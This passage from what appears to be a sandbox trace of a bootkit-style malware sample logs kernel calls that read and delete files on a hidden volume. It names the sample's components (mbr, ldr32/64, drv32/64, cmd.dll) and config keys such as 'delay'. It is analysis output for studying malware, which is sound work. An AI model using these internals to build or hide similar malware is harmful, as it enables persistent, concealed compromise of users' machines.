FastMutex=0xfffffa80027d3898) [0125.272] KeLeaveCriticalRegion () [0125.272] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.272] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.272] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.272] KeEnterCriticalRegion () [0125.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.273] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.273] IdePortDispatch () returned 0x103 [0125.273] KeWaitForMutexObject () returned 0x0 [0125.273] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.273] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.273] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.273] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.273] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.273] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.273] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.273] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.273] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.273] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.273] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.273] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.273] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.273] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.273] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.273] KeLeaveCriticalRegion () [0125.273] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.273] ReleaseMutex (hMutex=0x100) returned 1 [0125.273] Sleep (dwMilliseconds=0x2bf20) [0125.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ddeda70, dwHighDateTime=0x1d24fa4)) [0125.280] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.280] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.280] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.280] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.280] KeEnterCriticalRegion () [0125.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.280] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.280] IdePortDispatch () returned 0x103 [0125.280] KeWaitForMutexObject () returned 0x0 [0125.280] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.280] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.280] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.280] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.280] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.280] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6ab0 [0125.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.280] KeLeaveCriticalRegion () [0125.280] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.281] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.281] KeEnterCriticalRegion () [0125.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.281] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.281] KeLeaveCriticalRegion () [0125.281] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.281] KeEnterCriticalRegion () [0125.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.281] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.281] IdePortDispatch () returned 0x103 [0125.281] KeWaitForMutexObject () returned 0x0 [0125.281] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.281] KeLeaveCriticalRegion () [0125.281] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.281] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.281] KeEnterCriticalRegion () [0125.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.281] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c06000 [0125.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.281] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.281] IdePortDispatch () returned 0x103 [0125.282] KeWaitForMutexObject () returned 0x0 [0125.282] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.282] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.282] IdePortDispatch () returned 0x103 [0125.282] KeWaitForMutexObject () returned 0x0 [0125.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.282] KeLeaveCriticalRegion () [0125.282] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.282] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.282] KeEnterCriticalRegion () [0125.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.282] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.282] KeLeaveCriticalRegion () [0125.282] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.282] KeEnterCriticalRegion () [0125.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.282] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.282] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.283] KeLeaveCriticalRegion () [0125.283] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.283] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.283] KeEnterCriticalRegion () [0125.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.283] ExFreePoolWithTag (P=0xfffffa8003bf6ab0, Tag=0x0) [0125.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.283] KeLeaveCriticalRegion () [0125.283] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.283] ReleaseMutex (hMutex=0xf0) returned 1 [0125.283] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.283] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.283] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.283] KeEnterCriticalRegion () [0125.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.283] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.283] IdePortDispatch () returned 0x103 [0125.283] KeWaitForMutexObject () returned 0x0 [0125.283] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.283] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.283] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.283] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.283] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.283] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6650 [0125.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.283] KeLeaveCriticalRegion () [0125.283] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.283] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.283] KeEnterCriticalRegion () [0125.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.283] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.283] KeLeaveCriticalRegion () [0125.284] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.284] KeEnterCriticalRegion () [0125.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.284] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.284] IdePortDispatch () returned 0x103 [0125.284] KeWaitForMutexObject () returned 0x0 [0125.284] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.284] KeLeaveCriticalRegion () [0125.284] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.284] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.284] KeEnterCriticalRegion () [0125.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.284] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c07000 [0125.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.284] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.284] IdePortDispatch () returned 0x103 [0125.284] KeWaitForMutexObject () returned 0x0 [0125.284] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.284] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.284] IdePortDispatch () returned 0x103 [0125.285] KeWaitForMutexObject () returned 0x0 [0125.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.285] KeLeaveCriticalRegion () [0125.285] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.285] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.285] KeEnterCriticalRegion () [0125.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.285] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.285] KeLeaveCriticalRegion () [0125.285] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.285] KeEnterCriticalRegion () [0125.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.285] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.285] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.285] KeLeaveCriticalRegion () [0125.285] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.285] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.285] KeEnterCriticalRegion () [0125.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.285] ExFreePoolWithTag (P=0xfffffa8003bf6650, Tag=0x0) [0125.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.286] KeLeaveCriticalRegion () [0125.286] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.286] ReleaseMutex (hMutex=0xf0) returned 1 [0125.286] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.286] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.286] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.286] KeEnterCriticalRegion () [0125.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.286] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.286] IdePortDispatch () returned 0x103 [0125.286] KeWaitForMutexObject () returned 0x0 [0125.286] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.286] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.286] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.286] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.286] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.286] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5b40 [0125.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.286] KeLeaveCriticalRegion () [0125.286] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.286] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.286] KeEnterCriticalRegion () [0125.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.286] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.286] KeLeaveCriticalRegion () [0125.286] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.286] KeEnterCriticalRegion () [0125.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.286] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.286] IdePortDispatch () returned 0x103 [0125.287] KeWaitForMutexObject () returned 0x0 [0125.287] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.287] KeLeaveCriticalRegion () [0125.287] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.287] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.287] KeEnterCriticalRegion () [0125.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.287] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c08000 [0125.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.287] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.287] IdePortDispatch () returned 0x103 [0125.287] KeWaitForMutexObject () returned 0x0 [0125.287] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.287] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.287] IdePortDispatch () returned 0x103 [0125.287] KeWaitForMutexObject () returned 0x0 [0125.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.288] KeLeaveCriticalRegion () [0125.288] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.288] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.288] KeEnterCriticalRegion () [0125.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.288] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.288] KeLeaveCriticalRegion () [0125.288] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.288] KeEnterCriticalRegion () [0125.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.288] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.288] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.288] KeLeaveCriticalRegion () [0125.288] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.288] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.288] KeEnterCriticalRegion () [0125.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.288] ExFreePoolWithTag 